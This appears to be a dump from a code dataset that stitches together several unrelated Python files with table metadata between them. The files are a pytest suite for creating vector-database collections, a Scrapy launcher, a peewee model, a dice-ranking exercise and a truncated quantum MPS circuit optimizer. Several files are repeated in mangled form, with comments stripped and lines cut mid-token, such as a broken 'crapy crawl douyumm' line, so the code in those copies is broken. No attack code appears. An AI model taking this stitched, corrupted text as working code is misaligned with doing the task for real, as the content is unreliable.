| 38.690402 | 136 | 0.657758 | import pdb
import copy
import logging
import itertools
import time
import threading
from multiprocessing import Process
import sklearn.preprocessing
import pytest
from utils import *
from constants import *
uid = "create_collection"
class TestCreateCollection:
@pytest.fixture(
scope="function",
params=gen_single_filter_fields()
)
def get_filter_field(self, request):
yield request.param
@pytest.fixture(
scope="function",
params=gen_single_vector_fields()
)
def get_vector_field(self, request):
yield request.param
@pytest.fixture(
scope="function",
params=gen_segment_row_limits()
)
def get_segment_row_limit(self, request):
yield request.param
@pytest.mark.tags(CaseLabel.tags_smoke)
def test_create_collection_fields(self, connect, get_filter_field, get_vector_field):
filter_field = get_filter_field
logging.getLogger().info(filter_field)
vector_field = get_vector_field
collection_name = gen_unique_str(uid)
fields = {
"fields": [gen_primary_field(), filter_field, vector_field],
}
logging.getLogger().info(fields)
connect.create_collection(collection_name, fields)
assert connect.has_collection(collection_name)
def _test_create_collection_segment_row_limit(self, connect, get_segment_row_limit):
collection_name = gen_unique_str(uid)
fields = copy.deepcopy(default_fields)
connect.create_collection(collection_name, fields)
assert connect.has_collection(collection_name)
@pytest.mark.tags(CaseLabel.tags_smoke)
def test_create_collection_after_insert(self, connect, collection):
connect.insert(collection, default_entity)
try:
connect.create_collection(collection, default_fields)
except Exception as e:
code = getattr(e, 'code', "The exception does not contain the field of code.")
assert code == 1
message = getattr(e, 'message', "The exception does not contain the field of message.")
assert message == "Create collection failed: meta table add collection failed,error = collection %s exist" % collection
@pytest.mark.tags(CaseLabel.tags_smoke)
def test_create_collection_after_insert_flush(self, connect, collection):
connect.insert(collection, default_entity)
try:
connect.create_collection(collection, default_fields)
except Exception as e:
code = getattr(e, 'code', "The exception does not contain the field of code.")
assert code == 1
message = getattr(e, 'message', "The exception does not contain the field of message.")
assert message == "Create collection failed: meta table add collection failed,error = collection %s exist" % collection
def test_create_collection_without_connection(self, dis_connect):
collection_name = gen_unique_str(uid)
with pytest.raises(Exception) as e:
dis_connect.create_collection(collection_name, default_fields)
@pytest.mark.tags(CaseLabel.tags_smoke)
def test_create_collection_existed(self, connect):
collection_name = gen_unique_str(uid)
connect.create_collection(collection_name, default_fields)
try:
connect.create_collection(collection_name, default_fields)
except Exception as e:
code = getattr(e, 'code', "The exception does not contain the field of code.")
assert code == 1
message = getattr(e, 'message', "The exception does not contain the field of message.")
assert message == "Create collection failed: meta table add collection failed,error = collection %s exist" % collection_name
@pytest.mark.tags(CaseLabel.tags_smoke)
def test_create_after_drop_collection(self, connect, collection):
connect.drop_collection(collection)
time.sleep(2)
connect.create_collection(collection, default_fields)
@pytest.mark.level(2)
def test_create_collection_multithread(self, connect):
threads_num = 8
threads = []
collection_names = []
def create():
collection_name = gen_unique_str(uid)
collection_names.append(collection_name)
connect.create_collection(collection_name, default_fields)
for i in range(threads_num):
t = MyThread(target=create, args=())
threads.append(t)
t.start()
time.sleep(0.2)
for t in threads:
t.join()
for item in collection_names:
assert item in connect.list_collections()
connect.drop_collection(item)
class TestCreateCollectionInvalid(object):
@pytest.fixture(
scope="function",
params=gen_invalid_metric_types()
)
def get_metric_type(self, request):
yield request.param
@pytest.fixture(
scope="function",
params=gen_invalid_ints()
)
def get_segment_row_limit(self, request):
yield request.param
@pytest.fixture(
scope="function",
params=gen_invalid_ints()
)
def get_dim(self, request):
yield request.param
@pytest.fixture(
scope="function",
params=gen_invalid_strs()
)
def get_invalid_string(self, request):
yield request.param
@pytest.fixture(
scope="function",
params=gen_invalid_field_types()
)
def get_field_type(self, request):
yield request.param
@pytest.mark.level(2)
def _test_create_collection_with_invalid_segment_row_limit(self, connect, get_segment_row_limit):
collection_name = gen_unique_str()
fields = copy.deepcopy(default_fields)
fields["segment_row_limit"] = get_segment_row_limit
with pytest.raises(Exception) as e:
connect.create_collection(collection_name, fields)
@pytest.mark.level(2)
def test_create_collection_with_invalid_dimension(self, connect, get_dim):
dimension = get_dim
collection_name = gen_unique_str()
fields = copy.deepcopy(default_fields)
fields["fields"][-1]["params"]["dim"] = dimension
with pytest.raises(Exception) as e:
connect.create_collection(collection_name, fields)
@pytest.mark.level(2)
@pytest.mark.tags(CaseLabel.tags_smoke)
def test_create_collection_with_invalid_collection_name(self, connect, get_invalid_string):
collection_name = get_invalid_string
with pytest.raises(Exception) as e:
connect.create_collection(collection_name, default_fields)
@pytest.mark.level(2)
@pytest.mark.parametrize("collection_name", ('', None))
def test_create_collection_with_empty_or_None_collection_name(self, connect, collection_name):
try:
connect.create_collection(collection_name, default_fields)
except Exception as e:
code = getattr(e, 'code', "The exception does not contain the field of code.")
assert code == 1
message = getattr(e, 'message', "The exception does not contain the field of message.")
assert message == "Collection name should not be empty"
def test_create_collection_no_dimension(self, connect):
collection_name = gen_unique_str(uid)
fields = copy.deepcopy(default_fields)
fields["fields"][-1]["params"].pop("dim")
try:
connect.create_collection(collection_name, fields)
except Exception as e:
code = getattr(e, 'code', "The exception does not contain the field of code.")
assert code == 1
message = getattr(e, 'message', "The exception does not contain the field of message.")
assert message == "dimension is not defined in field type params"
def _test_create_collection_no_segment_row_limit(self, connect):
collection_name = gen_unique_str(uid)
fields = copy.deepcopy(default_fields)
fields.pop("segment_row_limit")
connect.create_collection(collection_name, fields)
res = connect.get_collection_info(collection_name)
logging.getLogger().info(res)
assert res["segment_row_limit"] == default_server_segment_row_limit
def test_create_collection_limit_fields(self, connect):
collection_name = gen_unique_str(uid)
limit_num = 64
fields = copy.deepcopy(default_fields)
for i in range(limit_num):
field_name = gen_unique_str("field_name")
field = {"name": field_name, "type": DataType.INT64}
fields["fields"].append(field)
try:
connect.create_collection(collection_name, fields)
except Exception as e:
code = getattr(e, 'code', "The exception does not contain the field of code.")
assert code == 1
message = getattr(e, 'message', "The exception does not contain the field of message.")
assert message == "maximum field's number should be limited to 64"
# TODO: assert exception
@pytest.mark.level(2)
def test_create_collection_invalid_field_name(self, connect, get_invalid_string):
collection_name = gen_unique_str(uid)
fields = copy.deepcopy(default_fields)
field_name = get_invalid_string
field = {"name": field_name, "type": DataType.INT64}
fields["fields"].append(field)
with pytest.raises(Exception) as e:
connect.create_collection(collection_name, fields)
# TODO: assert exception
def test_create_collection_invalid_field_type(self, connect, get_field_type):
collection_name = gen_unique_str(uid)
fields = copy.deepcopy(default_fields)
field_type = get_field_type
field = {"name": "test_field", "type": field_type}
fields["fields"].append(field)
with pytest.raises(Exception) as e:
connect.create_collection(collection_name, fields)
| true | true |
f73c243731e49b349b0b13fb2e2638a361287579 | 529 | py | Python | douyuSpider/start.py | qq453388937/Scarapy_Git | 6faa32684b76841face3d977fb162290cb79d177 | [
"MIT"
] | null | null | null | douyuSpider/start.py | qq453388937/Scarapy_Git | 6faa32684b76841face3d977fb162290cb79d177 | [
"MIT"
] | null | null | null | douyuSpider/start.py | qq453388937/Scarapy_Git | 6faa32684b76841face3d977fb162290cb79d177 | [
"MIT"
] | null | null | null | # -*- coding:utf-8 -*-
import sys
from scrapy import cmdline
# dont forget "".split() function
# cmdline.execute("scrapy crawl fb -o ../fb.json".split()) # 默认是当前路径 ../ 是上一级目录
cmdline.execute("scrapy crawl douyumm".split())
# def fib(num):
# a, b, sum = 0, 1, 0
# while sum < num:
# a, b = b, a + b
# sum = sum + 1
# # print(b)
# yield b
# res = fib(5)
# res.next()
# res.next()
# res.next()
# res.next()
# 也可以通过循环的方式,生成器就是特殊的迭代器,可以遍历
# for item in fib(5):
# print(item)
| 15.114286 | 81 | 0.544423 |
import sys
from scrapy import cmdline
crapy crawl douyumm".split())
| true | true |
f73c2458d172dd5e39ac140d32a584659841472e | 306 | py | Python | 20220429pyconus/code/plusplus_model.py | takanory/gitpitch | 807697c33b6ca16f3cacac339c6e70d52c38b142 | [
"MIT"
] | null | null | null | 20220429pyconus/code/plusplus_model.py | takanory/gitpitch | 807697c33b6ca16f3cacac339c6e70d52c38b142 | [
"MIT"
] | null | null | null | 20220429pyconus/code/plusplus_model.py | takanory/gitpitch | 807697c33b6ca16f3cacac339c6e70d52c38b142 | [
"MIT"
] | null | null | null | from peewee import SqliteDatabase, Model, CharField, IntegerField
db = SqliteDatabase("plusplus.db")
class Plusplus(Model):
name = CharField(primary_key=True) # fields
counter = IntegerField(default=0)
class Meta:
database = db
db.connect()
db.create_tables([Plusplus], safe=True)
| 21.857143 | 65 | 0.718954 | from peewee import SqliteDatabase, Model, CharField, IntegerField
db = SqliteDatabase("plusplus.db")
class Plusplus(Model):
name = CharField(primary_key=True)
counter = IntegerField(default=0)
class Meta:
database = db
db.connect()
db.create_tables([Plusplus], safe=True)
| true | true |
f73c24c4ab315c2587841392e9a192df93b08644 | 522 | py | Python | PythonExercicios/ex091.py | Caio-Moretti/115.Exercicios-Python | 7e66fb1f44ea3eb4ade63f37d843242ac42ade84 | [
"MIT"
] | null | null | null | PythonExercicios/ex091.py | Caio-Moretti/115.Exercicios-Python | 7e66fb1f44ea3eb4ade63f37d843242ac42ade84 | [
"MIT"
] | null | null | null | PythonExercicios/ex091.py | Caio-Moretti/115.Exercicios-Python | 7e66fb1f44ea3eb4ade63f37d843242ac42ade84 | [
"MIT"
] | null | null | null | from random import randint
from time import sleep
from operator import itemgetter
jogo = {'Jogador 1': randint(1, 6),
'Jogador 2': randint(1, 6),
'Jogador 3': randint(1, 6),
'Jogador 4': randint(1, 6)}
ranking = list()
print('Valores sorteados: ')
for k, v in jogo.items():
print(f'{k} tirou {v} no dado.')
sleep(1)
ranking = sorted(jogo.items(), key=itemgetter(1), reverse=True)
print('=-' * 30)
for i, v in enumerate(ranking):
print(f'{i + 1}° Lugar: {v[0]} com {v[1]}')
sleep(1)
| 29 | 63 | 0.609195 | from random import randint
from time import sleep
from operator import itemgetter
jogo = {'Jogador 1': randint(1, 6),
'Jogador 2': randint(1, 6),
'Jogador 3': randint(1, 6),
'Jogador 4': randint(1, 6)}
ranking = list()
print('Valores sorteados: ')
for k, v in jogo.items():
print(f'{k} tirou {v} no dado.')
sleep(1)
ranking = sorted(jogo.items(), key=itemgetter(1), reverse=True)
print('=-' * 30)
for i, v in enumerate(ranking):
print(f'{i + 1}° Lugar: {v[0]} com {v[1]}')
sleep(1)
| true | true |
f73c24cd61c6f29f2dd100f7e4af4609b7bb9113 | 17,366 | py | Python | XY_Model_propare_state3_chi64_A0.py | StudentsZhouPengfei/Automatically-Differentiable-Quantum-Circuit-for-Many-qubit-State-Preparation | 42d3a77380e78819375c9fb2c5600ddc89a3ae3f | [
"MIT"
] | 3 | 2021-05-10T01:49:59.000Z | 2021-06-13T19:03:40.000Z | XY_Model_propare_state3_chi64_A0.py | StudentsZhouPengfei/Automatically-Differentiable-Quantum-Circuit-for-Many-qubit-State-Preparation | 42d3a77380e78819375c9fb2c5600ddc89a3ae3f | [
"MIT"
] | null | null | null | XY_Model_propare_state3_chi64_A0.py | StudentsZhouPengfei/Automatically-Differentiable-Quantum-Circuit-for-Many-qubit-State-Preparation | 42d3a77380e78819375c9fb2c5600ddc89a3ae3f | [
"MIT"
] | null | null | null | import torch as tc
import numpy as np
import copy
import os,sys
import Circle_Function_Class_A0 as ev
import matplotlib.pyplot as plt
import matplotlib
matplotlib.use('Agg')
from torch.optim.lr_scheduler import StepLR
import BasicFunSJR as bfs
from CNNBTN import Paras_VL_CNN_BTN_Collected1chg1
import BasicFun as bf
tmp = sys.argv[0][sys.argv[0].rfind(os.sep) + 1:] # 返回文件名
mark = tmp[-5]
which_gpu = tmp[-4] # 调用固定
para = Paras_VL_CNN_BTN_Collected1chg1()
para['dataset'] = 'fashion-mnist'
para['device'] = bf.choose_device(which_gpu)
para['log_name'] = './record' + mark + which_gpu
start = tc.cuda.Event(enable_timing=True)
end = tc.cuda.Event(enable_timing=True)
os.environ['KMP_DUPLICATE_LIB_OK'] = 'TRUE'
os.environ['CUDA_VISIBLE_DEVICE'] = '0'
# tc.manual_seed(7) # 固定随机数,使产生的随机数可以复现
dtype = tc.float32 # float 监控norm
mps_num = 48
lr = 1e-2
it_time = 50
pt_time = 50 # 交错优化所在的次数
dt_print = 10
step_size = it_time * pt_time // 5 # lr学习率递减的间隔epoch
x1_axis = list() # 作图横轴 优化次数
identity_4 = tc.eye(4, dtype=dtype).to(para['device']) # 第二层演化小量变化的单位阵量子门
vol = tc.tensor(1e-3, dtype=dtype).to(para['device']) # 为其小量变化幅度, 对优化次数影响不大
con_vol = tc.tensor(1e-5, dtype=dtype).to(para['device'])
entropy_list = list()
average = tc.tensor(0, dtype=dtype).to(para['device']) # 计算纠缠熵 所用到的初始值
k_bood = 64
file_name = r'./tar_data.npz'
out_file_name = r'./layer_out_data.npz'
Loss_accuracy_range = 0.0001 # 控制Loss精度的范围,达到精度范围自动跳出循环
base_it_time = it_time//3 # 进行优化的最少次数,与分层优化有关
center_position = 24
layer_num = 3 # 控制不同层的门进行优化
gatenum = (mps_num - 1)*layer_num # 控制变分参数量子门的个数
tar_mpslist = list()
ini_state = list()
y_loss_layer = list() # 分层交错进行 每层的精度
y_loss_conda = list() # 协同优化 的精度
read_gatenum = (mps_num - 1)*(layer_num -1)
zero_gatetensor = tc.zeros(gatenum, 4, 4)
conba_gatalist = list()
layer_gatelist = list() # 在后续被reshape成(2, 4, 2)的三阶tensor
layer_gatelist_0 = list() # 将门分层储存
layer_gatelist_1 = list() # 将门分层储存
layer_gatelist_2 = list() # 将门分层储存
layer_gatelist_3 = list() # 将门分层储存
layer_gatelist_4 = list() # 将门分层储存
layer_gatelist_5 = list() # 将门分层储存
layer_optimize = list() # 分层存储优化器
loss_ = list([list([]), list([]), list([]), list([]), list([]), list([]), list([]), list([]), list([]), list([]),
list([]), list([]), list([])])
half_entropy_list = list([]) # 制作热图
half_entropy_list.append(tc.zeros([pt_time+1, mps_num-1])) # 最后一次为目标纠缠熵
number_list = list([0])
print('The quantum circuit is' + str(layer_num))
print('lr=:' + str(lr) + ', k_bood=: ' + str(k_bood) + ', A small amount of vol per unit door is: ' + str(vol))
data = np.load(file_name)
tar_mpslist.append(tc.from_numpy(data['tar_mpslist0']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist1']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist2']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist3']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist4']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist5']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist6']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist7']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist8']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist9']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist10']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist11']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist12']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist13']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist14']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist15']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist16']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist17']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist18']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist19']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist20']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist21']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist22']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist23']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist24']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist25']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist26']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist27']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist28']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist29']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist30']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist31']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist32']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist33']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist34']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist35']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist36']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist37']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist38']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist39']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist40']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist41']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist42']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist43']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist44']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist45']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist46']).to(para['device']))
tar_mpslist.append(tc.from_numpy(data['tar_mpslist47']).to(para['device']))
def fprint(content, file=None, print_screen=True, append=True):
if file is None:
file = './record.log'
if append:
way = 'ab'
else:
way = 'wb'
with open(file, way, buffering=0) as log:
log.write((content + '\n').encode(encoding='utf-8'))
if print_screen:
print(content)
def mps_norm(tar_tensor_): # 对目标量子态进行归一化 log归一化
tv = tc.einsum('asb,asd->bd', tar_tensor_[0].data, tar_tensor_[0].data)
t_norm = tc.norm(tv)
tv = tv / t_norm
tar_tensor_[0] = tar_tensor_[0].data / tc.sqrt(t_norm)
for gt in range(1, mps_num):
if gt < mps_num - 1:
tv = tc.einsum('ac,asb,csd->bd', tv, tar_tensor_[gt].data, tar_tensor_[gt].data)
else:
tv = tc.einsum('ac,asb,csd->bd', tv, tar_tensor_[gt].data, tar_tensor_[gt].data)
norm_t = tc.norm(tv)
tv = tv / norm_t
tar_tensor_[gt] = tar_tensor_[gt] / tc.sqrt(norm_t)
def qr_left_and_right_location(MPS_list, location, vol, feature_num=2): # 对目标MPS进行正交,并求解其纠缠熵
# print('location', location)
for k in range(location):
# print('k', k)
q, r = tc.qr(MPS_list[k].reshape(-1, MPS_list[k].shape[2]))
r = r
MPS_list[k] = q.reshape(-1, feature_num, q.shape[1])
MPS_list[k + 1] = tc.einsum('nl, lmk-> nmk', [r, MPS_list[k + 1]])
for i in range(len(MPS_list) - 1, location, -1):
# print('i', i)
q, r = tc.qr(MPS_list[i].reshape(MPS_list[i].shape[0], -1).t())
q_shape = q.t().shape
MPS_list[i] = q.t().reshape(q_shape[0], feature_num, -1)
r = r
MPS_list[i - 1] = tc.einsum('ldk, nk-> ldn', [MPS_list[i - 1], r])
MPS_list[location] = MPS_list[location]/tc.norm(MPS_list[location])
# u, s, v = tc.svd(MPS_list[location].reshape(-1, MPS_list[location].shape[2]))
u, s, v = tc.svd(MPS_list[location].reshape(MPS_list[location].shape[0], -1))
s = s[s > vol]
y = (-1) * tc.sum(tc.pow(s, 2) * tc.log(tc.pow(s, 2)), dim=0).item()
return y, MPS_list # y 返回纠缠熵 , mps_list返回正交化的目标mps的list()
def half_entropy(out_mps):
for ht in range(1, mps_num):
h_entropy = qr_left_and_right_location(out_mps, ht, 1e-16)[0]
half_entropy_list[0][number_list[0], ht-1] = h_entropy
number_list[0] = number_list[0] + 1
entro_tar = copy.deepcopy(tar_mpslist)
for et in range(1, mps_num):
entropy = qr_left_and_right_location(entro_tar, et, 1e-16)[0]
entropy_list.append(entropy)
for m in range(mps_num - 2):
average_ = entropy_list[m]
average = average + average_
average = average / (mps_num - 1) # 求解平均纠缠熵
center_entropy = qr_left_and_right_location(entro_tar, center_position, 1e-16)[0]
print('平均纠缠熵是:{}'.format(average))
print('正交中心为第' + str(center_position) + '个tensor的MPS纠缠熵是:{}'.format(center_entropy))
for nn in range(mps_num): # 初始真空零态
ini_state.append(tc.tensor([1, 0], dtype=dtype).reshape(1, 2, 1).to(para['device']))
read_memory_gate = bfs.load('read_memory_gate_data', 'gate')
for vt in range(read_gatenum): # 为了分层优化的下一层结果比单层好,随机初始化小量微扰的单位阵
unitary_gate = read_memory_gate[vt].to(para['device'])
unitary_gate.requires_grad = True
layer_gatelist.append(unitary_gate)
for jt in range(gatenum//layer_num):
vol_gate = tc.mul(tc.rand((4, 4), dtype=dtype).to(para['device']), vol)
unitary_gate = tc.add(vol_gate, identity_4)
unitary_gate.requires_grad = True
layer_gatelist.append(unitary_gate)
mps_norm(ini_state) # 对初始量子态进行归一化
# lay_optimize_1 = tc.optim.Adam(layer_gatelist, lr=lr) # 分层优化的量子门参数,在分层优化结束之后进行协同优化
print('分层储存优化器进入list')
for it in range(gatenum): # 将分层优化的loss的list 根据层数区分开
if it < (gatenum//layer_num)*1:
layer_gatelist_0.append(layer_gatelist[it])
else:
if it < (gatenum//layer_num)*2:
layer_gatelist_1.append(layer_gatelist[it])
else:
if it < (gatenum//layer_num)*3:
layer_gatelist_2.append(layer_gatelist[it])
else:
if it < (gatenum//layer_num)*4:
layer_gatelist_3.append(layer_gatelist[it])
else:
if it < (gatenum//layer_num)*5:
layer_gatelist_4.append(layer_gatelist[it])
else:
layer_gatelist_5.append(layer_gatelist[it])
lay_optimize_0 = tc.optim.Adam(layer_gatelist_0, lr=lr) # 分层优化的量子门参数,在分层优化结束之后进行协同优化
lay_optimize_1 = tc.optim.Adam(layer_gatelist_1, lr=lr)
lay_optimize_2 = tc.optim.Adam(layer_gatelist_2, lr=lr)
layer_optimize.append(lay_optimize_0) # 将三层优化器
layer_optimize.append(lay_optimize_1)
layer_optimize.append(lay_optimize_2)
scheduler_0 = StepLR(lay_optimize_0, step_size=step_size, gamma=0.1)
scheduler_1 = StepLR(lay_optimize_1, step_size=step_size, gamma=0.1)
scheduler_2 = StepLR(lay_optimize_2, step_size=step_size, gamma=0.1)
scheduler = list()
scheduler.append(scheduler_0)
scheduler.append(scheduler_1)
scheduler.append(scheduler_2)
evo = ev.Evolve(mps_num, k_bood, 2, gatenum, layer_num)
evo.init_tensor_list(copy.deepcopy(ini_state))
for bt in range(layer_num):
print('初始化第' + str(bt) + '的学习率:', layer_optimize[bt].defaults['lr'])
start.record() # 开始计算模型的运算时间花费
for pt in range(pt_time): # 交错优化所在的次数
fprint('Circle优化位于第' + str(pt) + '次', file=para['log_name'])
for lay_num in range(layer_num):
fprint('Circle优化位于第' + str(lay_num) + '层', file=para['log_name'])
for vt in range(it_time):
for llt in range(lay_num, lay_num + 1): # 先将优化层进行演化,演化完成后将其存进新的list,作为下一层初始
evo.layered_evolve_mps(layer_gatelist, llt)
if vt == it_time - 1:
evo.storage_layer_out_optimization(llt, 0)
for at in range(lay_num + 1, layer_num): # 将不变分的量子门演化进入线路
evo.layered_evolve_mps(layer_gatelist, at)
lay_loss = evo.log_fidelity(tar_mpslist) # 借助了mps跨越指数复杂度的优势
if ((vt + 1) % dt_print) == 0:
if vt == 0:
fprint('block')
else:
fprint('At t = ' + str(vt) + ', loss = ' + str(lay_loss.item()), file=para['log_name'])
loss_[lay_num].append(lay_loss.item())
lay_loss.backward()
layer_optimize[lay_num].step()
layer_optimize[lay_num].zero_grad()
if ((vt + 1) % dt_print) == 0:
fprint("第%d个epoch的学习率:%f" % (vt, layer_optimize[lay_num].param_groups[0]['lr']),
file=para['log_name'])
scheduler[lay_num].step()
tc.cuda.empty_cache() # 删除不必要的变量
if lay_num == layer_num-1:
if vt == it_time - 1:
half_entropy(evo.out_optimization())
if vt == it_time - 1:
evo.read_layer_out_optimization(lay_num, 0)
else:
evo.read_layer_out_optimization(lay_num, 1)
half_entropy(tar_mpslist) # 热图的最后一行为目标态纠缠的信息
bfs.save('.', 'out_memory_half_entropy_data', [half_entropy_list], ['half_entropy'])
for dt in range(gatenum):
zero_gatetensor[dt, :, :] = layer_gatelist[dt].data
bfs.save('.', 'out_memory_gate_data', [zero_gatetensor], ['gate'])
out_layer = evo.out_optimization()
out_layer_numpy = list()
for nt in range(mps_num): # 将目标MPS转存成numpy数组
out_layer_numpy.append(out_layer[nt].numpy())
np.savez(out_file_name,
tar_mpslist0=out_layer_numpy[0], tar_mpslist1=out_layer_numpy[1], tar_mpslist2=out_layer_numpy[2],
tar_mpslist3=out_layer_numpy[3], tar_mpslist4=out_layer_numpy[4], tar_mpslist5=out_layer_numpy[5],
tar_mpslist6=out_layer_numpy[6], tar_mpslist7=out_layer_numpy[7], tar_mpslist8=out_layer_numpy[8],
tar_mpslist9=out_layer_numpy[9],
tar_mpslist10=out_layer_numpy[10], tar_mpslist11=out_layer_numpy[11], tar_mpslist12=out_layer_numpy[12],
tar_mpslist13=out_layer_numpy[13], tar_mpslist14=out_layer_numpy[14], tar_mpslist15=out_layer_numpy[15],
tar_mpslist16=out_layer_numpy[16], tar_mpslist17=out_layer_numpy[17], tar_mpslist18=out_layer_numpy[18],
tar_mpslist19=out_layer_numpy[19],
tar_mpslist20=out_layer_numpy[20], tar_mpslist21=out_layer_numpy[21], tar_mpslist22=out_layer_numpy[22],
tar_mpslist23=out_layer_numpy[23], tar_mpslist24=out_layer_numpy[24], tar_mpslist25=out_layer_numpy[25],
tar_mpslist26=out_layer_numpy[26], tar_mpslist27=out_layer_numpy[27], tar_mpslist28=out_layer_numpy[28],
tar_mpslist29=out_layer_numpy[29],
tar_mpslist30=out_layer_numpy[30], tar_mpslist31=out_layer_numpy[31], tar_mpslist32=out_layer_numpy[32],
tar_mpslist33=out_layer_numpy[33], tar_mpslist34=out_layer_numpy[34], tar_mpslist35=out_layer_numpy[35],
tar_mpslist36=out_layer_numpy[36], tar_mpslist37=out_layer_numpy[37], tar_mpslist38=out_layer_numpy[38],
tar_mpslist39=out_layer_numpy[39],
tar_mpslist40=out_layer_numpy[40], tar_mpslist41=out_layer_numpy[41], tar_mpslist42=out_layer_numpy[42],
tar_mpslist43=out_layer_numpy[43], tar_mpslist44=out_layer_numpy[44], tar_mpslist45=out_layer_numpy[45],
tar_mpslist46=out_layer_numpy[46], tar_mpslist47=out_layer_numpy[47])
for nt in range(mps_num): # 将目标MPS转存成numpy数组
tar_mpslist[nt] = tar_mpslist[nt].cpu().numpy()
end.record() # 截至记录模型花费计算的时间
# Waits for everything to finish running
tc.cuda.synchronize() # 等待当前设备上所有流中的所有核心完成。
print('Runtime: ', start.elapsed_time(end))
for i in range(pt_time*5):
x1_axis.append(i*10)
color_list = list(['deeppink', 'red', 'gold', 'black', 'lime', 'peru', 'purple', 'blue'])
plt.figure(num=1, figsize=(16, 12), dpi=100)
plt.tick_params(labelsize=16)
plt.xlabel("num of optimize", fontsize=20) # x轴上的名字
plt.ylabel("negative-logarithmic fidelities (NLFs) per site", fontsize=20)
plt.grid(axis='x', c='g', linestyle='--', alpha=0.5)
for kt in range(layer_num):
plt.plot(x1_axis, loss_[kt], color=color_list[kt], linewidth=3, label=' Circle layered Optimize' + str(kt))
plt.legend(prop={'family': 'Times New Roman', 'size': 16}, loc='upper right')
plt.savefig('./MPS_Step_3layer_Circle.jpg')
| 47.190217 | 114 | 0.651273 | import torch as tc
import numpy as np
import copy
import os,sys
import Circle_Function_Class_A0 as ev
import matplotlib.pyplot as plt
import matplotlib
matplotlib.use('Agg')
from torch.optim.lr_scheduler import StepLR
import BasicFunSJR as bfs
from CNNBTN import Paras_VL_CNN_BTN_Collected1chg1
import BasicFun as bf
tmp = sys.argv[0][sys.argv[0].rfind(os.sep) + 1:]
mark = tmp[-5]
which_gpu = tmp[-4]
para = Paras_VL_CNN_BTN_Collected1chg1()
para['dataset'] = 'fashion-mnist'
para['device'] = bf.choose_device(which_gpu)
para['log_name'] = './record' + mark + which_gpu
start = tc.cuda.Event(enable_timing=True)
end = tc.cuda.Event(enable_timing=True)
os.environ['KMP_DUPLICATE_LIB_OK'] = 'TRUE'
os.environ['CUDA_VISIBLE_DEVICE'] = '0'
mps_num = 48
lr = 1e-2
it_time = 50
pt_time = 50
dt_print = 10
step_size = it_time * pt_time // 5
x1_axis = list()
identity_4 = tc.eye(4, dtype=dtype).to(para['device'])
vol = tc.tensor(1e-3, dtype=dtype).to(para['device'])
con_vol = tc.tensor(1e-5, dtype=dtype).to(para['device'])
entropy_list = list()
average = tc.tensor(0, dtype=dtype).to(para['device'])
k_bood = 64
file_name = r'./tar_data.npz'
out_file_name = r'./layer_out_data.npz'
Loss_accuracy_range = 0.0001
base_it_time = it_time//3
center_position = 24
layer_num = 3
gatenum = (mps_num - 1)*layer_num
tar_mpslist = list()
ini_state = list()
y_loss_layer = list()
y_loss_conda = list()
read_gatenum = (mps_num - 1)*(layer_num -1)
zero_gatetensor = tc.zeros(gatenum, 4, 4)
conba_gatalist = list()
layer_gatelist = list()
layer_gatelist_0 = list()
layer_gatelist_1 = list()
layer_gatelist_2 = list()
layer_gatelist_3 = list()
layer_gatelist_4 = list()
layer_gatelist_5 = list()
layer_optimize = list()
loss_ = list([list([]), list([]), list([]), list([]), list([]), list([]), list([]), list([]), list([]), list([]),
list([]), list([]), list([])])
half_entropy_list = list([])
half_entropy_list.append(tc.zeros([pt_time+1, mps_num-1]))
number_list = list([0])
print('The quantum circuit is' + str(layer_num))
